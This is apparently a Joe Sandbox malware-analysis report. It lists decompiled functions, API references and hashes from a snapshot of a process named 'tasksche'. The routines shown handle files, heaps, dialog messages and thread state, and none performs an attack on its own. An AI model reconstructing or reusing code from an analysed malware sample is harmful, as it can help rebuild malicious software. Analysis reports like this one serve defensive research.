Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog$_malloc
String ID:
API String ID: 4254904621-0
Opcode ID: f4a0015dd81c6367a1e3723969d7ed7b71eec4aecea33b784c0cc5c9c2fc540f
Instruction ID: 4fa22713ff1b1cd4263d7298948381a35fc14f9b7bb01a12f51cc5b8ed2a70ee
Opcode Fuzzy Hash: f4a0015dd81c6367a1e3723969d7ed7b71eec4aecea33b784c0cc5c9c2fc540f
Instruction Fuzzy Hash: B401ADB2A107009AC7109FAAC44029AF7E9FF94310F00842FE459D3390D7B8A9408B59

Uniqueness

Uniqueness Score: -1.00%

Function 00408E03 Relevance: 1.5, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408E03(intOrPtr* __ecx, void* __edx) {
				void* _t19;
				void* _t23;
				void* _t34;
				void* _t38;

				E0041A4DC(E00429705, _t38);
				E0040117B(_t38 - 0x1c, __edx, __ecx);
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				 *((intOrPtr*)( *__ecx + 0xc))();
				_t19 =  *((intOrPtr*)( *__ecx + 0x10))();
				 *(_t38 - 4) =  *(_t38 - 4) | 0xffffffff;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t38 - 0x1c)))) + 0xc))( *((intOrPtr*)(_t38 - 0x14)),  *((intOrPtr*)(_t38 - 0x10)), 0, 0, 0, 2, _t34, _t23);
				 *[fs:0x0] =  *((intOrPtr*)(_t38 - 0xc));
				return _t19;
			}

0x00408e08
0x00408e18
0x00408e1f
0x00408e2b
0x00408e32
0x00408e38
0x00408e4a
0x00408e56
0x00408e5e

APIs

__EH_prolog.LIBCMT ref: 00408E08

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 863cc4a6e1e3a3a4d87e432309fddcfd3b8ff728f9b2f9572ac3dc0eeb2e4462
Instruction ID: bd93042bfc1aad2116d0877f42dabf9818625296a81febac24436190ec2c14aa
Opcode Fuzzy Hash: 863cc4a6e1e3a3a4d87e432309fddcfd3b8ff728f9b2f9572ac3dc0eeb2e4462
Instruction Fuzzy Hash: 33F04F35B00214AFD7149F58C889FADB7B5EF48724F208159E912A73D1CB749D008A54

Uniqueness

Uniqueness Score: -1.00%

Function 00408A32 Relevance: 1.5, APIs: 1, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00408A32(void* __ecx) {
				void* _t9;
				int _t12;
				void* _t13;
				void* _t19;

				_t19 = __ecx;
				_t9 =  *(__ecx + 4);
				_t13 = 1;
				if(_t9 != 0xffffffff) {
					if( *((char*)(__ecx + 0x10)) == 0 &&  *((intOrPtr*)(__ecx + 0xc)) == 0) {
						_t12 = FindCloseChangeNotification(_t9); // executed
						asm("sbb bl, bl");
						_t13 =  ~(_t12 - 1) + 1;
					}
					 *(_t19 + 4) =  *(_t19 + 4) | 0xffffffff;
				}
				 *(_t19 + 0xc) =  *(_t19 + 0xc) & 0x00000000;
				if(_t13 == 0 &&  *((intOrPtr*)(_t19 + 0x14)) != _t13) {
					E004063E1(0x4335ac, _t19 + 0x1e);
				}
				return _t13;
			}

0x00408a34
0x00408a36
0x00408a39
0x00408a3e
0x00408a44
0x00408a4d
0x00408a58
0x00408a5a
0x00408a5a
0x00408a5c
0x00408a5c
0x00408a60
0x00408a66
0x00408a76
0x00408a76
0x00408a7f

APIs

FindCloseChangeNotification.KERNELBASE(?,7703F370,00000000,0040868D,?,?,?,?,00407427,?,00000000,?,00000800,?,?,?), ref: 00408A4D

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: b21f32aa194ba9df83e0161a33b0e827325d82f6e4b9bdb228d687f297159138
Instruction ID: ad6283f58ebf58fc73997c28fab75cfea7daa8eae0e70c9973603df5d86841c1
Opcode Fuzzy Hash: b21f32aa194ba9df83e0161a33b0e827325d82f6e4b9bdb228d687f297159138
Instruction Fuzzy Hash: 55F027706427044FD73056384A4879333D85B16331F049B2FD8E2A3BC0CB7898894E64

Uniqueness

Uniqueness Score: -1.00%

Function 00405512 Relevance: 1.5, APIs: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00405512(void* __ebx, intOrPtr __ecx, void* __edi, void* __eflags) {
				void* _t38;

				E0041A4DC(E004295E1, _t38);
				_push(__ecx);
				 *((intOrPtr*)(_t38 - 0x10)) = __ecx;
				E0040A026(__ecx, __edi); // executed
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				E00410D8E(__ecx + 0x92d4);
				 *(_t38 - 4) = 1;
				E00410D8E(__ecx + 0x9330);
				 *(_t38 - 4) = 2;
				E00410D8E(__ecx + 0x938c);
				 *(_t38 - 4) = 3;
				E00410D8E(__ecx + 0x93e8);
				 *(_t38 - 4) = 4;
				E00410D8E(__ecx + 0x9444);
				 *(_t38 - 4) = 5;
				E00405394(__ebx, __ecx, __edi,  *(_t38 - 4));
				 *[fs:0x0] =  *((intOrPtr*)(_t38 - 0xc));
				return __ecx;
			}

0x00405517
0x0040551c
0x00405520
0x00405523
0x00405528
0x00405532
0x0040553d
0x00405541
0x0040554c
0x00405550
0x0040555b
0x0040555f
0x0040556a
0x0040556e
0x00405575
0x00405579
0x00405584
0x0040558c

APIs

__EH_prolog.LIBCMT ref: 00405517

Part of subcall function 0040A026: __EH_prolog.LIBCMT ref: 0040A02B

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8d7273e43c00e3d352773117abe9a80c711290f191c18f656fba03e9df2d1900
Instruction ID: fa77f21fc7194b1e08a14eb3a2c561e3cb85337c9bb77c22dcaa42305da5d14c
Opcode Fuzzy Hash: 8d7273e43c00e3d352773117abe9a80c711290f191c18f656fba03e9df2d1900
Instruction Fuzzy Hash: A2013130901694DAD715EBA5D1157DDB7B49F14308F00449FE456532C3DFF82B84CB66

Uniqueness

Uniqueness Score: -1.00%

Function 004096BC Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004096BC(intOrPtr __edx, WCHAR* _a4, intOrPtr _a8) {
				void* _t11;
				intOrPtr _t21;

				_t21 = _a8;
				 *((char*)(_t21 + 0x1044)) = 0;
				if(E0040A0A4(_a4) == 0) {
					_t11 = E00409476(__edx, 0xffffffff, _a4, _t21); // executed
					if(_t11 == 0xffffffff) {
						goto L1;
					}
					FindClose(_t11); // executed
					 *(_t21 + 0x1040) =  *(_t21 + 0x1040) & 0x00000000;
					 *((char*)(_t21 + 0x100c)) = E0040901C( *((intOrPtr*)(_t21 + 0x1008)));
					 *((char*)(_t21 + 0x100d)) = E00409034( *((intOrPtr*)(_t21 + 0x1008)));
					return 1;
				}
				L1:
				return 0;
			}

0x004096bd
0x004096c5
0x004096d3
0x004096e0
0x004096e8
0x00000000
0x00000000
0x004096ec
0x004096f2
0x00409708
0x00409713
0x00000000
0x0040971b
0x004096d5
0x00000000

APIs

Part of subcall function 0040A0A4: _wcspbrk.LIBCMT ref: 0040A0B5

FindClose.KERNELBASE(00000000,00000800,000000FF,?,?,?,?,00408411,?,?,00000000,?,00000800), ref: 004096EC

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CloseFind_wcspbrk
String ID:
API String ID: 2190230203-0
Opcode ID: 85123c6e94d2e517bbdffd63dea6bf8ab785228859dafa86eb4c7b41f0ab578b
Instruction ID: c5db38677187ea9b8dec244fb3c8af9ff7d0a6647eff614e001a313c4cd0766c
Opcode Fuzzy Hash: 85123c6e94d2e517bbdffd63dea6bf8ab785228859dafa86eb4c7b41f0ab578b
Instruction Fuzzy Hash: 21F09635005380ABCA225B658404AC77B945F55365F048A1EB1F9621D7C279545ADB26

Uniqueness

Uniqueness Score: -1.00%

Function 00407074 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00407074(intOrPtr __ecx) {
				void* __edi;
				void* __esi;
				void* _t11;
				void* _t14;
				intOrPtr _t21;
				intOrPtr _t24;
				void* _t26;

				E0041A4DC(E0042966D, _t26);
				_push(__ecx);
				_t24 = __ecx;
				 *((intOrPtr*)(_t26 - 0x10)) = __ecx;
				_t21 =  *((intOrPtr*)(__ecx + 0x4448));
				 *(_t26 - 4) =  *(_t26 - 4) & 0x00000000;
				_t29 = _t21;
				if(_t21 != 0) {
					E004155EF(_t14, _t21, _t21); // executed
					E0041A4FB(_t14, _t21, __ecx, _t29, _t21); // executed
				}
				_t5 = _t26 - 4;
				 *(_t26 - 4) =  *(_t26 - 4) | 0xffffffff;
				_t11 = E00401001(_t24 + 0x10,  *_t5);
				 *[fs:0x0] =  *((intOrPtr*)(_t26 - 0xc));
				return _t11;
			}

0x00407079
0x0040707e
0x00407080
0x00407083
0x00407086
0x0040708c
0x00407090
0x00407092
0x00407096
0x0040709c
0x004070a1
0x004070a2
0x004070a2
0x004070a9
0x004070b3
0x004070bb

APIs

__EH_prolog.LIBCMT ref: 00407079

Part of subcall function 004155EF: __EH_prolog.LIBCMT ref: 004155F4

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 87706284f8ccbc03753738a0be538c99bba682efd2688e5f1f5aa8a82baee0a0
Instruction ID: da238740c98ae75ebc3f5927faf798116ad114c2e9bc9b884e51ec1b39bdab83
Opcode Fuzzy Hash: 87706284f8ccbc03753738a0be538c99bba682efd2688e5f1f5aa8a82baee0a0
Instruction Fuzzy Hash: D1E06D32A11610ABC715AB29C4066EEF3B9EFC0728F10422FA062636C1DBB86D418659

Uniqueness

Uniqueness Score: -1.00%

Function 00410DDE Relevance: 1.5, APIs: 1, Instructions: 21
threadCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00410DDE() {
				void* _t2;

				L00411982(); // executed
				_t2 = E0041197C();
				if(_t2 != 0) {
					_t2 = E00406371(0x4335ac, 0xff);
				}
				if( *0x4335b7 != 0) {
					_t2 = E00406371(0x4335ac, 0xff);
				}
				__imp__SetThreadExecutionState(1);
				return _t2;
			}

0x00410de0
0x00410de5
0x00410df6
0x00410dfb
0x00410dfb
0x00410e07
0x00410e0c
0x00410e0c
0x00410e13
0x00410e1b

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00410E13

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 99114e7ac6e4293e68323f01352a3d081b9a398302f12d6f006bb62c0eb9cb63
Instruction ID: ce8ef4de1523c5d0242b00cb845f3d850d1a93a8e5a83f46045a12d46b5ed054
Opcode Fuzzy Hash: 99114e7ac6e4293e68323f01352a3d081b9a398302f12d6f006bb62c0eb9cb63
Instruction Fuzzy Hash: 62D0C23170015022CA213B2B2815BEE56194F81724F0900BFB501622E38EAC09C281EE

Uniqueness

Uniqueness Score: -1.00%

Function 00409720 Relevance: 1.5, APIs: 1, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409720(void* __ebx, void* __ecx, char _a4) {
				void* __edi;
				intOrPtr _t7;
				void* _t11;
				void* _t12;
				void* _t15;

				_t18 = _a4;
				_t15 = __ecx;
				 *((char*)(__ecx + 8)) = 0;
				if(_a4 == 0) {
					_t4 = __ecx + 0xc;
					 *_t4 =  *(__ecx + 0xc) & 0x00000000;
					__eflags =  *_t4;
				} else {
					_t7 = E0041A0EA(__ebx, _t11, 0x8003, _t18, 0x8003, _t12); // executed
					 *((intOrPtr*)(_t15 + 0xc)) = _t7;
					E0041A820(0x8003, _t7, 0, 0x8003);
				}
				return _t15;
			}

0x00409720
0x00409726
0x00409728
0x0040972c
0x0040974c
0x0040974c
0x0040974c
0x0040972e
0x00409735
0x0040973e
0x00409741
0x00409749
0x00409753

APIs

_memset.LIBCMT ref: 00409741

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: c61d5f3dc6c1f9b97ffe444c65296dc1c5881d1e0fbf0653a527c25b506bb31f
Instruction ID: 57c48ace6bef99692c10c7cc37c4410ce12e8001caaa4568d5ee7d388360cf58
Opcode Fuzzy Hash: c61d5f3dc6c1f9b97ffe444c65296dc1c5881d1e0fbf0653a527c25b506bb31f
Instruction Fuzzy Hash: D7E0CD729053406AD371751D9C04F579AD85B95725F14C82FB089A32C3C1BC5C51C759

Uniqueness

Uniqueness Score: -1.00%

Function 0041EDF7 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041EDF7(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x44f848 = _t6;
				if(_t6 != 0) {
					 *0x451420 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x0041ee0c
0x0041ee12
0x0041ee19
0x0041ee20
0x0041ee26
0x0041ee1c
0x0041ee1c
0x0041ee1c

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0041EE0C

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 6c78c704c61e396e770c5c9d5bf39bc32bfab303bf8d18d204e2a82309729daa
Instruction ID: eb53d8fa6b9c670d76401f9b6e634384cdf5b6bc28e7f080834842f41bea832e
Opcode Fuzzy Hash: 6c78c704c61e396e770c5c9d5bf39bc32bfab303bf8d18d204e2a82309729daa
Instruction Fuzzy Hash: E6D05E366503485ADB106F716C09B763BDCD384396F104436BC1DC6150F775C5A09A48

Uniqueness

Uniqueness Score: -1.00%

Function 00408C5A Relevance: 1.5, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408C5A(void* __ecx) {
				void* _t2;
				long _t3;

				_t2 =  *(__ecx + 4);
				if(_t2 != 0xffffffff) {
					_t3 = GetFileType(_t2); // executed
					if(_t3 == 2 || _t3 == 3) {
						return 1;
					} else {
						return 0;
					}
				} else {
					return 0;
				}
			}

0x00408c5a
0x00408c60
0x00408c66
0x00408c6f
0x00408c7c
0x00408c76
0x00408c78
0x00408c78
0x00408c62
0x00408c64
0x00408c64

APIs

GetFileType.KERNELBASE(?,00408CDA,?,00408EB0,?,00000000,?,?,00000000), ref: 00408C66

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: b9077224b9f88db5cd0ce6d94ac7233058a1c10921077028cad7c3ce69d3e2a2
Instruction ID: 2361e1c995e4a541e26ad64c94d2af3b89e31d8e4072a4a2db2c19a8efa4df55
Opcode Fuzzy Hash: b9077224b9f88db5cd0ce6d94ac7233058a1c10921077028cad7c3ce69d3e2a2
Instruction Fuzzy Hash: 8EC0127151610056DF2046385A8845B376687433667789FF9E071D12E5CB3ECC56B025

Uniqueness

Uniqueness Score: -1.00%

Function 0041C993 Relevance: 1.5, APIs: 1, Instructions: 14
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E0041C993(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t9;
				void* _t18;

				_push(0xc);
				_push(0x42d6f8);
				E0041FA9C(__ebx, __edi, __esi);
				E00421501();
				 *(_t18 - 4) =  *(_t18 - 4) & 0x00000000;
				_t9 = E0041C8A8(__edx,  *((intOrPtr*)(_t18 + 8))); // executed
				 *((intOrPtr*)(_t18 - 0x1c)) = _t9;
				 *(_t18 - 4) = 0xfffffffe;
				E0041C9C9();
				return E0041FAE1( *((intOrPtr*)(_t18 - 0x1c)));
			}

0x0041c993
0x0041c995
0x0041c99a
0x0041c99f
0x0041c9a4
0x0041c9ab
0x0041c9b1
0x0041c9b4
0x0041c9bb
0x0041c9c8

APIs

Part of subcall function 00421501: __lock.LIBCMT ref: 00421503

__onexit_nolock.LIBCMT ref: 0041C9AB

Part of subcall function 0041C8A8: __decode_pointer.LIBCMT ref: 0041C8B7
Part of subcall function 0041C8A8: __decode_pointer.LIBCMT ref: 0041C8C7
Part of subcall function 0041C8A8: __msize.LIBCMT ref: 0041C8E5
Part of subcall function 0041C8A8: __realloc_crt.LIBCMT ref: 0041C909
Part of subcall function 0041C8A8: __realloc_crt.LIBCMT ref: 0041C91F
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C931
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C93F
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C94A

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __encode_pointer$__decode_pointer__realloc_crt$__lock__msize__onexit_nolock
String ID:
API String ID: 1316407801-0
Opcode ID: b55de3884da01d1a9e97354b2d40eb13cce2566ab91c9d35cf75a163aba5e344
Instruction ID: e58e71dbedfae0fd7c0196075773fdb904cc218e0a70426679e08a5f69f6d609
Opcode Fuzzy Hash: b55de3884da01d1a9e97354b2d40eb13cce2566ab91c9d35cf75a163aba5e344
Instruction Fuzzy Hash: 8ED05B71E41605EACB10BFE6DC427CD77706F44315F60416FB018550D2C67C45C14A1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D513 Relevance: 1.5, APIs: 1, Instructions: 11
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D513(void* __edx, intOrPtr _a20, intOrPtr _a28) {
				void* _t5;

				SendDlgItemMessageW( *0x441844, 0x6a, 0x402, E0040D1DE(_a20, _a28), 0); // executed
				_t5 = E0040D116(); // executed
				return _t5;
			}

0x0040d530
0x0040d536
0x0040d53b

APIs

SendDlgItemMessageW.USER32 ref: 0040D530

Part of subcall function 0040D116: PeekMessageW.USER32 ref: 0040D127
Part of subcall function 0040D116: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040D138
Part of subcall function 0040D116: TranslateMessage.USER32(?), ref: 0040D142
Part of subcall function 0040D116: DispatchMessageW.USER32 ref: 0040D14C

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Message$DispatchItemPeekSendTranslate
String ID:
API String ID: 4142818094-0
Opcode ID: 7040c51d5953534f53b945be8071fa726febfab1a70e776a765f2f75df90e843
Instruction ID: 888b2871e718dea131dfcf0ec1cbc21fe8f041a13ed789b986bd41985b0bed4c
Opcode Fuzzy Hash: 7040c51d5953534f53b945be8071fa726febfab1a70e776a765f2f75df90e843
Instruction Fuzzy Hash: FDC01235240300ABE7117B50DD07F1A3A62BB88B09F808039BA81380F2CEB648369A0A

Uniqueness

Uniqueness Score: -1.00%

Function 00408C47 Relevance: 1.5, APIs: 1, Instructions: 7
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00408C47(void* __ecx) {
				int _t2;

				_t2 = SetEndOfFile( *(__ecx + 4)); // executed
				asm("sbb eax, eax");
				return  ~(_t2 - 1) + 1;
			}

0x00408c4a
0x00408c53
0x00408c56

APIs

SetEndOfFile.KERNELBASE(?,004080D7,?,?,?,?,?,?), ref: 00408C4A

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 372b206049e22359e890f019f69c17f88631756899d3b8a56b0e056d033f7bf1
Instruction ID: 463f2a0b6f7528456a39aa395305c1415068e572747894341c9f749ccc5f34b3
Opcode Fuzzy Hash: 372b206049e22359e890f019f69c17f88631756899d3b8a56b0e056d033f7bf1
Instruction Fuzzy Hash: 80B012703E0006878E102B30CD084143910D71130630041B0600AC6061CB13C0135611

Uniqueness

Uniqueness Score: -1.00%

Function 00419C88 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00419C88(WCHAR* _a4) {
				signed int _t2;

				_t2 = SetCurrentDirectoryW(_a4); // executed
				asm("sbb eax, eax");
				return  ~( ~_t2);
			}

0x00419c8c
0x00419c94
0x00419c98

APIs

SetCurrentDirectoryW.KERNELBASE(?,0040D8E5,0042A65C,00000000,?,00000006,?,00000800), ref: 00419C8C

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
